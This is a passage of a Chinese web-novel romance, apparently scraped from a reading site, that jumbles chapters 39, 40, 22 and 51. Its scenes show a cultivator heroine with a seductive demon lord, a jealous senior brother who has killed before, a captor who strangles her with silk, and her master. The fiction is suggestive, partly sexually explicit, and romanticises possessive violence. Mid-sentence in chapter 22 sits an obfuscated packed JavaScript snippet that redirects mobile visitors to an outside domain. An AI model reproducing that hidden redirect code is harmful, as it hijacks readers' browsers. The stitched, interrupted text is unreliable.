戚流星笑了笑,“可这只是一条无从考据的记载。” “好了,师妹不必过多在意凡人的外表,不要忘了我们这次来泰州的目的。” 季白点了点头,不再多说什么,可心里却总是不太舒服。 “师兄,我们现在去哪?” 戚流星说在泰州发现了关于真凶的线索,却没有告诉季白具体的情况。 “相思楼。” “相思楼?什么地方?”季白第一次听说这个地方,听起来像是酒楼的名字。 “风月之地。”戚流星说,“我在死者的身上发现了一缕魔气和一个特质的香囊,香囊里的用料和配方并不常见,我记得我似乎在泰州闻到过,就连夜赶回了泰州最终查出死者的香囊与相思楼有关。” “一般只有有情人会互赠香囊,难道陷害我的人有一个相好在相思楼?” 戚流星点了点头。 可季白却觉得没那么简单,戚流星一定还瞒了她点什么。 “师兄,如果只是如此,我们大可派其他同门请这位姑娘前往太清宗问话,又何必大老远的跑这一趟?” “这相思楼想必还有其他问题吧?” 戚流星笑了笑,“还真是什么都瞒不住你。” “相思楼是合欢宗门下的产业,其内弟子亦正亦邪,男女交合是他们修行的法门,而那位给他香囊的人听说还是泰州楼内一位地位颇高的合欢宗女弟子,如今我们没有证据,只能亲自前往相思楼一探。” 事涉其他门派,太清宗又没有证据,如果蛮横地将人请到太清宗问话,确实有点不太礼貌。 如今世间动荡,外有强敌环伺,若是修行界内部的各大宗门再出龃龉,修仙界就当真完了。 “合欢宗……实力很强吗?” “若论打架他们自然是敌不过我们太清宗,但合欢宗也有他们的长处。”戚流星说,“他们的媚术与幻术是天下一流,能让对手毫无伤痛地笑着死于美梦之中。” “又因合欢宗门内弟子生性风流,喜欢处处留情却不负责,常背情债,为防被因爱生恨的情人们找到,门内弟子也各个是隐匿之术和遁术的好手。” “故而,也颇为难缠。” 两人说着话就已经抵达相思楼门口了,因还是白日的原因,相思楼的大门还是紧闭的,戚流星敲了敲门,不多时,从里间出来一位小厮。 那小厮模样看着还算周正,只是多生了一条胳膊。 他上下打量了季白与戚流星一番,问:“两位,我们相思楼白天不营业。” 戚流星:“我们来找人。” “找什么人都晚上再来。”小厮说着就毫不留情地“砰”得一声把门关上了。 季白与戚流星相互对视了一眼,戚流星被一个平平无奇的小厮下了面子,但丝毫不恼,反而笑了一下,问:“看来只有晚上再来了,趁这个时间,我带师妹在泰州城里逛逛如何?” 季白对逛街实在没什么兴趣,一心只想快点完成任务,但她想了想可以借机同戚流星增进感情,也就点头同意了。 她上前一步挽上戚流星的胳膊,笑眯眯地说:“那就劳烦师兄了。” 戚流星看了眼挽着自己的胳膊,耳朵尖尖红了红,但面上还是装作一副毫不在乎的样子。 季白正要跟着戚流星离开这儿,却突然察觉到一股炙热又黏腻的视线,她本能地回头看去,可什么都没有,只有一扇紧闭的门,再往上是糊了纱闭合的窗。 戚流星察觉到季白的不安,回头问:“怎么了?” 季白摇摇头:“没事。” 二楼的纱窗后端坐着一位风华绝代的美人,他的整张脸几乎都贴在了纱窗上,暗红的眼眸里满是痴迷与狂热,白皙的脸颊上浮上一抹动人的红晕,似是喝了酒一般。 “终于等到你了,我的仙人。” 他的每一个字都说得又轻又慢,似是等了她很多很多年。 夜里的相思楼与白日冷寂的相思楼完全不同,似是全城的达官显贵都聚集在这儿了一般,季白还在人群中看见了不少修士。 屋里灯影绰约,暗香浮动,戚流星带着季白往二楼去准备寻那位合欢宗的女弟子。 此时,只听楼下的戏台上蓦地响起一声震撼人心的鼓乐,季白本能地回头看了一眼,霎那间楼内的灯光全部熄灭了,只留下戏台上一缕微弱的光,就连人潮的笑闹声也在瞬间远去,天地间仿佛就只剩了季白与台上即将出场的人。 季白皱了皱眉头,这是合欢宗招揽客人的把戏吗? 她没兴趣再看,正准备跟上戚流星的脚步,却惊讶地发现戚流星也不见了。 这时,灵动缠绵的乐曲悠扬响起,似是伤心的情人在呼唤他的爱人,哒哒的脚步声由远及近地在季白的耳畔响起,季白回头一看,舞台上蓦然多了一抹修长纤瘦的人影,他的脸被水袖遮住看不真切,但单从他柔软漂亮的身段就能看出是一位绝代风华的美人。 季白只觉这楼中有古怪,默默握紧了腰间的剑。 台上美人的舞步时而轻柔时而刚劲,可无论是哪一种,每一个动作都极富妖娆与魅惑,饶是见惯了现代舞大尺度的季白也不由为之脸红,还未看清他的脸,季白就已经有一种被他勾引的感觉。 季白暗想,男版妲己也不过如此了。 美男脸上的面纱随风而落露出他妖媚绮丽的脸,一双狭长的眼眸似是狐狸一般直勾勾地盯着季白,这时,季白脑中的系统再次出声。 【检测到目标人物——魔尊李承仙。】 季白人傻了。 李承仙?魔尊? 魔尊不该都是狂拽霸气的类型吗? 怎么这个魔尊有点不一样……比起传闻中残忍嗜血的魔尊,他更像是魔尊的小妾啊。 季白虽然此前还未见过李承仙,但从师兄与旁人的嘴中,也能推算出此人实力强大且野心勃勃,虽出世时间不长,却打得修行界节节败退。 可这样一位一统妖魔两界的大杀神竟然窝在凡间的风月之地跳艳舞?! 他该不会是专门冲着她来的吧? 那……那还真是有点爽了。 正道第一被她囚在山洞,魔道第一给她跳艳舞…… 39 第39章 一舞终了,李承仙抬手脱下身上那件本就宽松的红色纱衣缓步朝季白走来,每走一步只听得他身上的环佩清脆作响,薄厚适度,线条流畅的上半身挂着金光闪闪的胸链与做工精巧的臂环,再往下腰垮上系着一圈用红宝石与小金珠串联的流苏。 墨色弯曲的长发并未束冠,任由它们随意披散下来,昳丽妖艳的五官在灯光的映衬下越发迷乱人心,整个人给人一种诱惑又野性的美,像是山林里漂亮的等着你捕捉的狐狸。 李承仙走到季白一步远的距离站定,乌黑的眸子似是一把钩子一般死死地盯着她,细看之下,眼底似乎还暗藏着点点危险的猩红。 “奴家寻仙见过季仙人。” 他的身高很高,约莫有一米九,哪怕是弯着身子,也需要季白抬起头去看他。 季白往后退了一步,稍稍拉开了点距离。 “你认识我?” 李承仙弯眸一笑,好似烟花绽放,灿烂又迷幻。 “季仙人今日于泰州城外一剑斩妖劈山的伟绩早已传遍泰州,奴家又岂会不知?”李承仙说着又上前一步,低下头凝视着她的眼睛,高挺的鼻梁快要贴到季白的脸上,“只是没想到竟会在这儿碰见季仙人,想来是太清山上太过清苦。” 他微凉的指尖从她的脸颊滑到她的唇上,嘴角的笑意越发勾魂夺魄,“仙人也想下凡品一品人间至乐。” “我是来找人的。”季白说。 “找谁?”李承仙眼底的猩红一闪一闪,“我是这楼里最美的,见了我就不必再寻别人了。” 他离她太近,说话时似有似无的呼吸都落在她的脸上,指尖也不安分地摆弄着她垂在胸前的青丝,昳丽妖艳的脸上写满了对她的渴望,如果他有尾巴的话,此时此刻可能已经将季白圈在自己的怀里了。 “你是什么人?”季白故意问,“看你的样子不像是普通的小倌。” “奴家是合欢宗的弟子。” 季白听李承仙这么说,也没有拆穿他的真实身份,只是顺着他的话往下说,想看看他假扮身份接近她究竟是想做什么。 这个副本的四位男主,她都见过了。 其余的三位男主与她都是旧相识,可李承仙却似乎是第一次见她。 “仙人。”李承仙搂上了她的腰,下腹蠢蠢欲动,“良宵苦短,仙人何不与我共枕,我修有合欢宗秘术,保证能让仙人修为大增。” 季白低头是李承仙饱满的肌肉,抬头是他灼灼的目光,一时间,她都不知道该看哪,索性仰着头盯着他的眼睛说:“原来是合欢宗的道友,道友不必一口一个仙人,喊我季白就行。” “至于双修,恕我不能奉陪,我今日来相思楼是有要事寻贵宗的一位女弟子,实在没有闲情与你玩耍。” 季白心想,陷害她的人身上有相思楼的锦囊,有魔气,该不会这所有的一切都和李承仙有关吧? 可他的目的是什么呢,是想毁了她还是想引她过来 季白想了想,觉得更像是前者,便又打了十二分的小心防备着他。 “仙人的话真是直白到让人伤心啊。”李承仙捧着心做出心碎的样子,“仙人一刻都不愿与我多待,难道……我还不够美吗?” 李承仙最后一句话说得很轻很轻,似是坐在深宫里对着铜镜一遍一遍端详自己容颜的妃子呢喃她还不够美,所以留不住帝王的心。 季白感觉李承仙有点古怪,好似是处于一个随时会疯掉的状态。 经验丰富的季白如同渣男一般毫不犹豫地开口哄道,“你当然美,你是我见过最俊美的男子。” 李承仙的眸中闪过一缕不易察觉的红光,他立即接道:“比你师兄还美?” 季白没有忘记系统说过,他们渴望成为她心中的唯一,因而她想也不想地笑着说:“当然,你之美远胜他。” 李承仙听了这话肉眼可见得开心了许多,只是那双眼睛不知是不是被脖颈上的红宝石映衬的,越发猩红了。 季白本能地感受到了一股危险的感觉。 她踮脚摸了摸他微凉的脸,又在他的下巴上印了一个吻,用可惜又遗憾的语气说:“如果我这次不是有重要的事,我肯定会留下陪你,只是我这次来是调查案子的,如果找不到陷害我的真凶,我就要被长老们就地执法了。” “你是我见过最漂亮的人,我很喜欢你。” 季白夸赞的话和不要钱一样往外撒,夸得李承仙半眯着眼睛,脸颊也红扑扑的,似是喝醉了一般。 他伸手一拽,将季白整个人都紧紧搂在怀里,下巴搁在她的肩上,说出口的声音细听之下似乎都在颤抖,“你说喜欢我是真的吗,说下次来找我也是真的吗?” 哪里像是什么魔尊,简直像是一只渴望被主人抚摸的大狗狗。 “当然是真的。”季白说,“我从不说假话。” 只不过是喜欢他的同时,也喜欢他他他他他…… 李承仙蹭了蹭她的颈窝,双手紧紧抱着她舍不得撒手,过了一会,他突然埋在她的怀里说:“可是前辈们都说,做我们这一行的最不能信的就是客人的嘴。” 季白轻笑一声,心里暗想,这位魔尊可是真够入戏的,还真把自己当可怜的小倌了。 李承仙立即站直了身子,带着撒娇的语气质问:“你笑什么?” 季白仰着头看他,故意道:“可是我听师兄说,你们合欢宗的弟子才是各个风流多情,总是辜负别人的真心呢。” 季白说着还故意推了他一下,装作不高兴的样子说:“你见我第一面就说要同我双修,谁知道之前又哄过多少姑娘。” 李承仙连忙解释:“我和他们不一样。” 他的脸红了红,眼睛也闪烁着暗红色的光芒,眼底的痴迷与狂热已经快要压不住了。 “我的心和我的身体只会属于一个人。”他低下头用脸颊轻蹭她的额头,“我很干净的,从来没给别人跳过舞,也没有碰过别人。” 他是第一次给别人跳舞? 季白想到李承仙刚刚足以祸乱众生的舞姿实在不像是第一次跳的样子,那么他在此之前一定偷偷练过很多次吧? 季白一想到在战场上刚刚杀过人的冷酷魔尊回了宫殿就一个人悄悄躲起来跳艳舞的画面,就忍不住想笑。 她压了压笑意,问:“这么说,你之前就认识我了?” 李承仙虽然看起来像是第一次见她的样子,但他们这一次的见面绝对不会是他们的初次。 “是啊。”李承仙低头看她,“我很早很早以前就认识你了。” 他说着又笑了笑,垂下眼帘遮去眼中的情绪,“只是那时的我不值得让仙人记住。” 季白从他身上感受到了淡淡的悲伤,正想出言安慰他,却见李承仙复又抬起眼帘,目光热烈地盯着她:“所以……仙人要是骗我怎么办,要是仙人出了相思楼就不认我了,怎么办?” “我不会。”季白答得肯定。 哪怕是为了李承仙身上的先天一气,她也会再来找他。 李承仙退后一步,拉起她的手贴在脸上,眉眼弯弯地笑着说:“空口无凭啊,我的仙人。” “那你想如何?” 李承仙垂下眼帘,唇贴着她的掌心一路向上吻,带起蚂蚁爬过的阵阵酥麻,很快他柔软的唇停在了她手腕的脉搏上。 这里最为敏感,随着她脉搏的每一次跳动,那种过电般的酥麻感和温热就顺着血管流遍了全身,让她的心也跟着加速。 他伸出舌尖舔了舔她青紫色的血管,复又掀起眼皮盯着她:“我们合欢宗有一门情契,一旦落下,生死无悔。” 季白对上这双暗红色的眼眸,感觉自己没有拒绝的余地。 让他们感觉自己是她心中的唯一,如果这个所谓的情契能让他安心的话,也没什么不行。 李承仙见季白不答,又如同小兽般轻舔她的血管,但眼底的猩红又使他看起来仿佛在一秒就会残忍地咬破她的肌肤,将她拆吃入腹。 “仙人不愿吗?” “好啊。” 这一声好啊让李承仙都愣住了,他没有想到季白就这么轻易地答应了他。 他握着季白的手紧了紧,而后笑着说:“仙人,是你说愿意的,此契落下,不死不休。” 他话落似是生怕季白反悔一样,低头就咬上了季白的手腕,尖利的牙齿刺破肌肤带来一阵刺痛,季白本能地就想要抽回手,可下一秒疼痛变为了一种极为玄妙的感受。 等季白再次回过神时,李承仙已经抬起了头,而她的手腕上则多了一个暗红色的神秘图纹,图纹闪了闪随后就消失不见。 季白能感受到它并不是真的消失了,而是隐匿在她的血肉中,好似有一股神奇的力量把她和李承仙连在了一起。 季白收回手,笑着问李承仙,“这下你总满意了吧?” “我很开心。”李承仙眯着眼笑,“对了,仙人这次要找的人是谁?” 季白从怀里取出锦囊,道:“我要找这个锦囊的主人。” 李承仙看了一眼,就道:“我知道是谁,我带你去找她。” 他说着就要带季白离开这儿,可走了没几步,他又停下脚步,目光炙热地盯着季白问:“我……我可以先亲你一下吗?” 40 第40章 季白很少遇见亲吻还要主动询问的男子,在她看来亲吻这种事,气氛到了就自然而然吻在一起了。 她抬起眼眸看向他,暗红的眼眸在幽暗的环境下显得危险又诡谲,似是垂涎了许久的野兽终于遇见了它心仪的猎物。 季白摸了摸他的眼皮,轻声问:“为什么你的眼睛有时候会变成红色?” 李承仙半眯着眼睛仿佛极为享受季白的触摸。 “抱歉。”李承仙轻声说,“我有个毛病,只要一兴奋,我的眸色就会变红。” 他低下头又朝季白走了一步,整个人几乎贴在了她的身上,那双不容忽视的手搭在她的腰窝上暧昧地摩挲着。 “所以……我可以亲你吗?” 他的眼睛越发红了,好似一颗具有魔力的宝石,让所有看见它的人都会为之臣服。 季白装作害羞的样子轻轻点了点头,得到允许的李承仙立即低头吻了上来,开始时他的吻又轻又柔,似是小心翼翼地摩挲舔舐着一件易碎的稀世珍宝,可很快,他就压抑不住他野兽的本性,吻变得又凶又猛,似是要把她整个人都吞进肚子里一样。 季白被吻得腿软,呼吸之间全是属于他的气息,在她意乱情迷之时,季白突然感受到了额上的花钿有了反应,一抹温热自花钿而起,随后顺着血管流遍了她的全身。 她不可置信地睁大了眼,卫云台吻她时毫无反应的花钿竟然对李承仙有反应了?! 她怎么也没有想到,最先助她完成任务的会是李承仙。 季白眼神复杂地看着近在咫尺的面容,他闭着眼睛格外狂热与深情地吻着她,哪怕看不见他的眼睛,她也能想象到他眼中的缱绻与爱意。 明明是极恶的魔尊,可在第一次吻上她时,竟然给了她不掺杂一丝阴暗的纯粹爱意。 李承仙察觉到季白的走神惩罚似地轻咬了下季白的下唇,突如其来的刺痛让季白闷哼出声,这一声细小的哼声却瞬间刺激到了李承仙。 他粗喘着将季白推至墙角,覆身压了上去,比刚刚还要暴烈的吻从她的唇吻到她的脖颈,季白忽而轻颤了一下,抓着李承仙衣襟的手抖了抖,要不是他的手还一直紧紧箍着她的腰,她早就滑下去了。 一股淡淡的异香顷刻间弥散开来,李承仙忽而松开她后退了一步,低眸看了眼自己的手,笑着在她耳边问:“仙人真的不和我试试双修吗?你的身体好像很喜欢我呢。” 季白侧眸看了眼他的手,粉色的指尖覆着一层潋滟的水光,她瞬间红了脸,但还是摇摇头说:“先带我去找锦囊的主人吧。” “好吧。”李承仙有些遗憾地放开了她,带着季白往二楼走。 季白看着他水痕未干的手,总觉得脸烧乎乎的。 她拽了下他的袖子,低声问:“你不洗洗手吗?” 不用水洗也施个清洁术之类的术法吧。 难道他就打算带着湿漉漉的指尖去见别的人吗? 李承仙一脸不解,也不知是真不懂还是装的。 “我为何要洗手?” “你……”季白小声道,“你刚刚摸过那种地方,当然要洗手。” 李承仙笑得勾人,轻声细语地缓声问:“那种地方是哪种地方?” 季白红着脸说不出话。 李承仙当着她的面把那根湿漉漉的手指含进了嘴里,吻过她唇的舌尖一点点把这根手指舔了个干净,可指尖上的水渍并没有舔干净,反而湿得更厉害了。 他舔舐时眼睛一直紧盯着季白,明明他并没有碰她,季白却有一种正在被他舔的微妙感。 她的脸越发滚烫,整个人仿佛要融化在这小小的楼梯间里。 他抽出手指笑着说:“很甜呢,和仙人的嘴一样甜。” 季白移开视线,暗想,这位魔尊简直是魅魔转世,他到底靠什么当上的魔尊啊。 正在她愣神之际,李承仙突然又俯身凑近她,含着笑意的声音在她耳畔响起,“仙人脸红的样子也好可爱。” “不要再勾引我了。”他的声音轻飘飘的,吐出的热气悉数落在她的耳蜗,酥酥麻麻的。 他刻意拉长了尾音,“我怕我真的忍不住。” 季白回头瞪他,气呼呼地说:“谁勾引谁啊?” 李承仙笑:“好,我勾引你,那仙人上钩了吗?” 季白不服输地拽着他的衣襟,将人拉至身前,快速在他唇上落下一吻,得意洋洋地笑着说:“你说呢?” 李承仙的眸色顿时变了,喘息声也重了许多,盯着她的眼眸里满是欲色。 就在季白以为他会做点什么的时候,只听得一声巨响,紧接着似是有什么东西碎掉了,嘈杂声与光亮重新回来了。 季白回眸看去就见一脸怒容的戚流星跨步而来,季白连忙松开拉着李承仙的手,李承仙注意到季白脸上的慌乱,看向戚流星的眼眸中闪过一抹杀意。 戚流星三步并两步地走到季白面前,一把将季白拉至身后,满眼警惕地看向李承仙,开口质问:“这就是合欢宗的待客之道吗?” 季白看了眼李承仙,暗想,看来李承仙的伪装不错啊,就连师兄都以为他是合欢宗的人。 “这位道友无故闯入我合欢宗的地盘,坏我相思楼的生意,我还没有怪你,你倒反而怪上我了?” 戚流星抽出腰间青笛直抵李承仙的咽喉,冷声问:“说!你使计隔开我们,单独引我师妹至此,意欲何为?” 季白不知戚流星的战力如何,但对面的人可是魔尊,如果戚流星能打得过他,修仙界也不会被压了这么多年。 戚流星要真惹恼了他,那今天就全完了。 想到这儿,季白连忙拉了拉戚流星的袖角,解释道:“师兄,他没对我做什么,还说要帮我呢,都是道友,你别这么对他。” 季白不解释还好,一解释戚流星都快气疯了。 在太清山的时候,季白喜欢卫云台,下了山又看上了合欢宗骚里骚气的小白脸,好像谁都可以,就是他不行。 为什么?!明明是他陪她长大,她为什么就从来不肯多看他一眼? 戚流星紧握着青笛,手背上青筋暴起,“你为他求情,为这个只见过一面的小白脸求情?” 他咬牙切齿地问:“你知不知道,他是合欢宗的人!像你这样单纯的小姑娘他不知道骗了多少个!” 季白心虚地移开视线,师兄,你看错我了,我也不单纯…… 她实在不知该怎么说了,帮李承仙说话吧,戚流星生气,回头她还得哄,不说吧,万一真把李承仙惹毛了,他魔性大发怎么办? 戚流星见季白一脸心虚的样子,又想到他刚刚过来时看见的场景,气得快要疯掉了。 他要再晚一步,他们二人是不是就亲上了?! 戚流星还好只看见了最后一幕,如果他看完了全程,怕是要气得直接拔剑捅给李承仙一剑。 这样的事他不是没有做过。 他看起来阳光开朗,万事不往心里放,是同门眼中最潇洒的师兄,可其实他的嫉妒心很强很强。 “你不说话?”戚流星问,“别告诉我,你真被他蛊惑了?” 季白连忙解释,“没……没有,他没蛊惑我。” 对面的李承仙听季白这么说,可不愿意了。 他娇滴滴地看了季白一眼,用一种被负心薄情汉抛弃的语气说:“仙人刚刚可不是这么说的,怎么仙人的师兄一来就全变了,难道奴家就这么见不得人吗?” 季白只恨不能把李承仙的嘴堵上。 戚流星气疯了。 “你住嘴!”戚流星举手攻去,一招一式都下了死手,“我师妹岂是你这家伙能染指的?该死,你也配?” 李承仙闪身躲避,还不忘出声刺他,“配与不配轮不到你说,你只是仙人的师兄而已,有什么资格管我们的事?” 明明二人师出同门,李承仙对季白是一口一个仙人,可对戚流星不是道友就是你,可谓双标极了。 季白见事不对,连忙扑上去拦住戚流星,她紧紧抓住戚流星的青笛,低吼,“师兄,别打了。” 戚流星定定望着她,黝黑的眼眸中好似有什么东西一寸一寸地碎了。 明明早上她还挽着他的手拉他一起去逛街,明明昨天还说他是最好的师兄,还说她放下师父了,让他一直陪着她。 他差点以为他又有机会了。 结果今天她就能转头爱上另一个人。 他突然很恨她,不,他从很久以前就开始恨她了,恨她专情,恨她那么多年眼中只有师父一人,更恨她专情的对象不是他。 他现在也恨她,恨她多情,恨她能轻而易举爱上别人,更恨她多情的对象里没有他。 他比不上师父,也比不上眼前这个合欢宗的小白脸。 他一根一根地掰开她的手指,笑得明媚,“我为什么要听你的?” 他从来不是一个爱屋及乌的人,也不是同门眼中心怀苍生,仗义除恶的大师兄。 谁也不知道,太清宗最为可靠侠义的大师兄戚流星曾犯过不可饶恕的大罪。 他曾经弑过师。 没关系,杀人而已,他也不是第一次做了。 22. 第 22 章 季白在转瞬之间就做了决定。 她抱紧了闻人瑾冰冷的身子,似乎要把整个人都埋进他的胸膛里,寻求他的庇护。 由于她贴得太紧太紧,闻人瑾可以清晰得感受到她刻意放缓的呼吸,随着羽生的脚步越来越近,她非但没有叫喊着求救,反而屏住了呼吸一动也不敢动,似乎生怕被羽生发现一样。 闻人瑾单手搂着她的腰,只觉缠在自己指尖的白绸变得无比滚烫。 他蓦地松开了控制她生死的白绸,手掌绕过脖颈按在她的脑后,他加大了手上的力度,让她的脸颊离自己的心脏再近一点。 不同于他冰冷的不似活人的肌肤,他的心脏强有力地在她耳边跳动着,似乎是他那压抑不住的澎湃爱意都化为了一声擂鼓般的跳动。 季白攥紧了他胸前的衣襟,暗想,他应该是歇了杀她的心思吧? 除非他是打算用手把她活活勒死在他的怀里。 她很想回头看一眼羽生的情况,但又生怕自己一动会激怒闻人瑾。 只得老老实实地靠在他的怀里,不知听了他多久的心跳,外面忽然又有动静。 羽生停下向前的脚步,谨慎地回头看去,只见那扇漆黑的门再一次被人推开,露出一抹绮丽张扬的身影,血红的衣袍如火一般照亮了整座祠堂。 他显然是一路急跑而来,满脸焦色,一头是汗,腰间还挎着一把宝剑。 羽生见是褚师怀来了,顿时就没了好脸色。 那张本就漠然的脸,眼下可以用阴狠两个字形容了,像是见到了不共戴天的仇人一般。 羽生没有忘记那一天他亲耳听见季白对褚师怀说,他是他的代替,她会跟他离开,她爱的人从来都只有褚师怀一个人。 羽生恨的人从来都不是闻人瑾,哪怕他几次三番为难他,想要赶走他,杀了他,他也并不放在心上。 他知道季白从来都不喜欢他,看不上他,甚至是厌恨他。 可褚师怀不一样。 他曾和她真真切切的相爱过,哪怕他曾抛弃过夫人一次,夫人还是忘不了他。 羽生眼中的狠厉几乎快要化为杀人的利刃,他是夫人唯一真心爱过的人,教他如何不恨? 褚师怀也一眼就看见了羽生。 他亦想起了那天在门外听见的动静,一个卑贱的仆人,也敢觊觎他的人! 他一想到小白在他看不见的地方和他还有过更亲密的行为,就恨不能一剑杀了他。 这对互相看不顺眼的情敌一见面就分外眼红,都恨不能杀之而后快。 褚师怀性子急,他率先冷着脸质问:“你怎么在这?” “小白呢?”褚师怀唰地一下抽出佩剑,剑锋直指羽生,“是不是让你藏起来了?快把小白交出来!不然,我今日定要你的命!” 羽生冷冷地看了他一眼,完全不把他当一回事。 哪怕那锋利的剑尖距离他的眼睛不过一寸,他也仍是面不改色,眉头都没皱一下。 羽生用手指拂开他的剑,眼神狠厉,“滚开!” 季白心中咯噔一下,羽生私下里都这么刚的吗?! 她惊得合不拢嘴,有一种自家听话又胆小的柔弱弟弟竟然一直在外当杀人不眨眼的黑老大的感觉。 她还以为羽生上一次在堂前质问闻人瑾是受了刺激,一时发疯。 没想到,那不是他发疯,只是他的常态而已。 甚至……上一次对闻人瑾的质问还收敛了。 季白看不见羽生的神情,但只从这两个滚开就听得出来羽生此刻杀意满满,他是真的想杀了褚师怀。 他对关他,打他的闻人瑾都没有这么强烈的恨意。 “好啊,你一个贱仆,竟恃宠生娇到如此地步!你不要以为小白喜欢你,我就不敢杀你!” “在我面前,你什么都不是。” 羽生听褚师怀提起季白,眼中的恨与妒又盛几分。 “这句话原封不动的还给你。”他冷笑着说,“褚师公子,这里只有我们两个人,我就算杀了你也没有第二个人知道。” 季白听着羽生阴狠又狂妄的话,实在无法把他和她印象里娇弱卑微的羽生联系在一起。 她虽然早就知道羽生不简单,但远没有亲耳听见的震撼。 这真的是一个人吗? 季白想起当初在花房时羽生被其他仆从欺负的可怜样子,现在想来都是装的吧…… “那就试试!” 褚师怀话落,季白就听见一阵激烈的打斗声,刀刃相撞时的音浪刺耳到仿佛要震聋她的耳朵。 这座祠堂都快被他们掀开了。 就在季白快要承受不住的时候,一双微凉的手突然捂住了她的耳朵,冰冷的温度激得她颤栗了下,随后她就发现那些刺耳的声音都被隔绝在外了。 季白悄悄抬头看了闻人瑾一眼,他并没有看她,那双黑洞洞的眼睛正注视着互相打斗的二人。 她又悄悄低下头,想了半晌,又抬手捂住了闻人瑾的手。 她的手比闻人瑾的小很多,哪怕尽全力捂住,他的手也还有一大半露在外面。 她听见闻人瑾的心漏跳了一拍,而后就见他微微低下头在她耳边问:“做什么?” 那两人打得正欢,无暇顾忌角落里的他们。 季白轻声回他,“你的手太冰,我帮你暖暖。” 闻人瑾似是没有想到得到的会是这个回答,他捂着她耳朵的手指蜷了蜷,一句话也不说了。 季白依稀听见刀剑没入血肉的声音,鼻尖似乎还传来淡淡的血腥味,她的心蓦地跳了一下,是谁受伤了? 就如同她能感受到闻人瑾的心跳,闻人瑾也能察觉到她心跳的频率。 “担心他们?”闻人瑾低哑的声音在她耳边响起。 季白直觉这是一个危险的问题,没有回答,只是把他抱得更紧了一点。 在武力方面,外面的两人或许不分胜负,但在智力方面,闻人瑾绝对甩他们两人一大截。 季白其实一直怀疑出错的任务道具,是闻人瑾给她的玉佩。 除了他之外,羽生和褚师怀都不像是会做出这种事的人。 可她今天又亲眼看见了羽生不同寻常的另一面,会不会他给的道具也是假的? 她想问问系统能不能查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14984805|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出有几个道具出了问题,可她在脑海中喊了半天,系统也没见出声。 季白默默在心中叹了口气,她这系统可真够没用的。 算了,不管是为了保命还是为了通关道具,她都需要暂时留在闻人瑾身边,稳定他的情绪。 对于闻人瑾来说最重要的道具会是什么呢? 季白正想的入神,却听褚师怀又厉声喝问了一句:“有种和我去外面拼个你死我活!” 紧接着,两人的打斗声就越来越远,似乎是出去了。 闻人瑾动了动手指,祠堂的门又重新合上了。 他摸着季白的脖子在她耳边低语:“你不是一直想跑吗?刚刚为什么不叫他们救你呢。” “我说过了,我选择的人一直是你。” 不知这句话哪没答对,闻人瑾忽然拽住了她脖子上的白绸用力一勒,“你还在骗我!” 季白被他勒得喘不过气,但还不忘断断续续地解释。 “我……我没骗你。” “那你说……我……我为什么刚刚不喊呢?” “刚刚羽生离我那么近,只要我一喊,他一定能发现我们。” 闻人瑾想起了季白刚刚下意识的屏住呼吸和抱紧他,勒她脖子的手松了松,似乎是相信了她的话。 但季白仍不敢掉以轻心,还想再说几句好话,却被闻人瑾用白绸捂住了嘴,而后强拽着她往祠堂深处去。 这白绸还真是一条多用,又能蒙眼又能勒人,还能堵住她的嘴。 如果闻人瑾等会要用白绸捆她,她都不觉得奇怪了。 她脑中忽而灵光一闪,激动得两眼发亮。 闻人瑾最重要的东西不会就是他的这根白绸吧? 这东西怎么看都不像是凡物。 那三样道具还被她藏在了祠堂,如果白绸真的是正确的通关道具,她只需要想办法把它从闻人瑾手上偷出来,再放回提交地点,她就可以离开这个鬼地方了。 季白正想得入神,闻人瑾的声音再次把她拉回了现实。 “你又在想什么鬼主意?” 季白回过神来就对上闻人瑾空洞的眼眶,他看起来是恢复正常了,如果忽略他那双可怖的眼睛。 闻人瑾似是意识到现在的样子不太好看,他别过头去不看她,倾身上前解开绑在季白嘴上的白绸。 他瘦削的下巴抵在她的头顶,眼前是他被鲜血染红的衣襟,清浅的呼吸声从上首传来,这里很安静,安静得让他的呼吸声震耳欲聋。 季白只觉得自己像是来到了某种大型野兽的巢穴,哪怕看不见他的脸,他的呼吸,他的气味也如影随形地跟着她。 季白简单的打量了一下四周,这里密不透风,却装饰讲究,生活中所需的东西一应俱全,像是一个专门打造的华丽囚笼。 闻人瑾把取下的白绸重新覆在自己的眼睛上,而后后退一步,低下头看她,嘴角还噙着一抹浅浅的笑。 “喜欢这里吗?” “这是我很久以前专门为你打造的房子。” “建造的工人都被我杀了,所以除了你我之外,没有第三个人知道这里。” 50-60 51 第51章 霎那间,人影浮动,银链哗啦作响,季白只觉眼前一晃,就被卫云台压在了身下。 “不准找他。”卫云台一字一句地说,蓝白色的眼眸里藏着碎雪般的冷寂。 季白笑得恶劣。 “师父不能满足我,我只能从别人身上找答案了。” 卫云台如瀑的银发垂至她的肩头,有几缕还拂过她的脸颊带来微凉的痒意,他的眼睛定定望着她,温热的手指掐住她的腮帮,饱满的红唇被迫挤压成一朵绽放的花,露出其内洁白湿润的花蕊。 这么美丽的嘴,为什么要说出这么不顺耳的话呢? 清浅的呼吸氲湿她的眉眼,模糊她的视线,只剩下格外灵敏的听觉,清晰地听见彼此呼吸交缠的声音,柔软的指腹磨了磨她的下唇,略哑的声音从她的上首传来。 “你想为师如何满足你?” 季白伸出舌尖舔了舔他的手指,一圈一圈的指纹如同粗粝的砂纸一般研磨着她敏感的舌尖,她暧昧地低声说:“师父不是最知道该怎么做吗?” 她张开唇把他的整根手指都含进了嘴里,舌尖细细勾勒丈量着他的指节,含糊不清地说:“我的答案早就告诉师父了。” 昏黄的灯光映衬着卫云台愈发深邃的五官,可季白却有些看不清他的眼睛,像是隔了一层雾气一般,他的呼吸似是蓦地停了一瞬,随后他快速抽出被季白含住的手指,用那双湿漉漉的手捂住了季白的眼睛。 一个柔软的东西贴上了她的唇,呼吸突然变得格外冗长,他似是小孩啄吮着糖果般试探性地含着她的唇吸吮,舔舐。 或许与爱人亲密是人类刻进骨子里的渴求,不需要教,不需要学,就能完成的很出色。 